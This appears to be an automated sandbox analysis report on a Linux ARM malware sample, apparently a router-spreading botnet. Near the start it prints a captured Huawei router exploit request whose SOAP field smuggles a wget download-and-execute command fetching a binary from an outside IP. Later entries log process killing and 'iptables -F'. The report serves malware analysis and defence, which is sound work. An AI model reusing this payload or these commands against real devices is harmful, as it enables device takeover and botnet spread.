Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 197.27.35.12
Source: unknown	TCP traffic detected without corresponding DNS query: 156.206.45.17
Source: unknown	TCP traffic detected without corresponding DNS query: 41.223.38.12
Source: unknown	TCP traffic detected without corresponding DNS query: 197.103.171.13
Source: unknown	TCP traffic detected without corresponding DNS query: 156.106.106.123
Source: unknown	TCP traffic detected without corresponding DNS query: 156.56.62.32
Source: unknown	TCP traffic detected without corresponding DNS query: 197.148.150.72
Source: unknown	TCP traffic detected without corresponding DNS query: 156.85.150.89
Source: unknown	TCP traffic detected without corresponding DNS query: 156.158.36.3
Source: unknown	TCP traffic detected without corresponding DNS query: 197.33.236.165
Source: unknown	TCP traffic detected without corresponding DNS query: 156.6.117.221
Source: unknown	TCP traffic detected without corresponding DNS query: 41.213.70.88
Source: unknown	TCP traffic detected without corresponding DNS query: 197.207.114.50
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.202.144
Source: unknown	TCP traffic detected without corresponding DNS query: 156.44.151.171
Source: unknown	TCP traffic detected without corresponding DNS query: 197.57.109.100
Source: unknown	TCP traffic detected without corresponding DNS query: 156.140.26.188
Source: unknown	TCP traffic detected without corresponding DNS query: 197.60.153.1
Source: unknown	TCP traffic detected without corresponding DNS query: 156.246.44.139
Source: unknown	TCP traffic detected without corresponding DNS query: 197.26.196.153
Source: unknown	TCP traffic detected without corresponding DNS query: 41.6.66.211
Source: unknown	TCP traffic detected without corresponding DNS query: 41.95.96.83
Source: unknown	TCP traffic detected without corresponding DNS query: 156.216.219.44
Source: unknown	TCP traffic detected without corresponding DNS query: 41.229.33.193
Source: unknown	TCP traffic detected without corresponding DNS query: 197.71.118.104
Source: unknown	TCP traffic detected without corresponding DNS query: 41.231.138.107
Source: unknown	TCP traffic detected without corresponding DNS query: 41.214.230.97
Source: unknown	TCP traffic detected without corresponding DNS query: 197.76.34.188
Source: unknown	TCP traffic detected without corresponding DNS query: 156.191.121.146
Source: unknown	TCP traffic detected without corresponding DNS query: 197.141.199.13
Source: unknown	TCP traffic detected without corresponding DNS query: 41.239.199.243
Source: unknown	TCP traffic detected without corresponding DNS query: 41.164.189.192
Source: unknown	TCP traffic detected without corresponding DNS query: 156.55.170.229
Source: unknown	TCP traffic detected without corresponding DNS query: 197.197.25.80
Source: unknown	TCP traffic detected without corresponding DNS query: 41.41.41.23
Source: unknown	TCP traffic detected without corresponding DNS query: 197.186.193.155
Source: unknown	TCP traffic detected without corresponding DNS query: 41.150.131.120
Source: unknown	TCP traffic detected without corresponding DNS query: 41.20.36.229
Source: unknown	TCP traffic detected without corresponding DNS query: 41.224.88.73
Source: unknown	TCP traffic detected without corresponding DNS query: 156.96.137.169
Source: unknown	TCP traffic detected without corresponding DNS query: 41.93.81.214
Source: unknown	TCP traffic detected without corresponding DNS query: 41.39.37.132
Source: unknown	TCP traffic detected without corresponding DNS query: 156.116.228.254
Source: unknown	TCP traffic detected without corresponding DNS query: 197.75.39.78
Source: unknown	TCP traffic detected without corresponding DNS query: 156.142.7.180
Source: unknown	TCP traffic detected without corresponding DNS query: 197.166.28.247
Source: unknown	TCP traffic detected without corresponding DNS query: 197.55.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 197.236.107.244
Source: unknown	TCP traffic detected without corresponding DNS query: 197.134.150.205
Source: unknown	TCP traffic detected without corresponding DNS query: 197.75.45.63

Source: arm7, 5234.1.00000000f6abff04.000000008642ee32.r-x.sdmp	String found in binary or memory: http://23.94.186.250/..23091t/mips;
Source: arm7, 5234.1.00000000f6abff04.000000008642ee32.r-x.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: arm7, 5234.1.00000000f6abff04.000000008642ee32.r-x.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding//%22%3E
Source: arm7, 5234.1.00000000f6abff04.000000008642ee32.r-x.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: arm7, 5234.1.00000000f6abff04.000000008642ee32.r-x.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope//
Source: arm7	String found in binary or memory: http://upx.sf.net

Source: unknown

DNS traffic detected: queries for: daisy.ubuntu.com

System Summary:

Sample tries to kill many processes (SIGKILL)

Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 658, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 720, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 759, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 772, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 789, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 800, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 904, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 1320, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 1334, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 1335, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 1389, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 1809, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 1872, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 1888, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 1983, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 2048, result: successful	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	SIGKILL sent: pid: 2258, result: successful	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	SIGKILL sent: pid: 4486, result: no such process	Jump to behavior

Sample contains only a LOAD segment without any section mappings

Source: LOAD without section mappings

Program segment: 0x8000

Yara signature match

Source: arm7, type: SAMPLE

Sample tries to kill a process (SIGKILL)

Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 658, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 720, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 759, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 772, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 789, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 800, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 904, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 1320, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 1334, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 1335, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 1389, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 1809, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 1872, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 1888, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 1983, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 2048, result: successful	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	SIGKILL sent: pid: 2258, result: successful	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	SIGKILL sent: pid: 4486, result: no such process	Jump to behavior

Source: arm7

Joe Sandbox Cloud Basic: Detection: clean Score: 0

Perma Link

Source: classification engine

Classification label: mal100.spre.troj.evad.lin@0/9@2/0

Data Obfuscation:

Sample is packed with UPX

Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Id: UPX 3.94 Copyright (C) 1996-2017 the UPX Team. All Rights Reserved. $

Persistence and Installation Behavior:

Deletes all firewall rules

Source: /bin/sh (PID: 5277)

Args: iptables -F

Jump to behavior

Sample reads /proc/mounts (often used for finding a writable filesystem)

Source: /bin/fusermount (PID: 5456)

File: /proc/5456/mounts

Jump to behavior

Executes the "kill" or "pkill" command typically used to terminate processes

Source: /bin/sh (PID: 5284)	Pkill executable: /usr/bin/pkill -> pkill -9 busybox	Jump to behavior
Source: /bin/sh (PID: 5289)	Pkill executable: /usr/bin/pkill -> pkill -9 perl	Jump to behavior
Source: /bin/sh (PID: 5294)	Pkill executable: /usr/bin/pkill -> pkill -9 python	Jump to behavior
Source: /usr/share/gdm/generate-config (PID: 5446)	Pkill executable: /usr/bin/pkill -> pkill --signal HUP --uid gdm dconf-service	Jump to behavior
Source: /usr/share/gdm/generate-config (PID: 5568)	Pkill executable: /usr/bin/pkill -> pkill --signal HUP --uid gdm dconf-service	Jump to behavior

Executes the "grep" command used to find patterns in files or piped streams

Source: /bin/sh (PID: 5430)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5432)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
Source: /bin/sh (PID: 5434)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5436)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
Source: /bin/sh (PID: 5438)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5440)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
Source: /bin/sh (PID: 5442)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5444)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
Source: /bin/sh (PID: 5552)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5554)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
Source: /bin/sh (PID: 5556)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5558)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
Source: /bin/sh (PID: 5560)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5562)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
Source: /bin/sh (PID: 5564)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5566)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior

Enumerates processes within the "proc" file system

Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/5022/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/5022/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/5147/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/5147/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/1582/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/3088/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/230/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/230/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/110/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/110/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/231/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/231/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/111/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/111/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/232/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/232/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/1579/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/112/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/112/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/233/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/233/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/1699/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/113/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/113/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/234/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/234/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/1335/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/1698/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/114/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/114/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/235/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/235/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/1334/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/1576/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/2302/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/115/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/115/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/236/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/236/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/116/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/116/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/237/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/237/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/117/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/117/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/118/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/118/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/910/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/910/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/119/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/119/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/912/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/912/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/10/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/10/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/2307/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/11/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/11/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/918/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/918/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/12/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/12/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/13/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/13/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/14/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/14/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/15/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/15/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/16/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/16/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/17/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/17/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/18/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/18/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/5279/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/5279/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/1594/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/1594/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/120/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/120/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/121/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/121/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/1349/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/1349/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/1/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/1/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/122/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/122/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/243/status	Jump to behavior
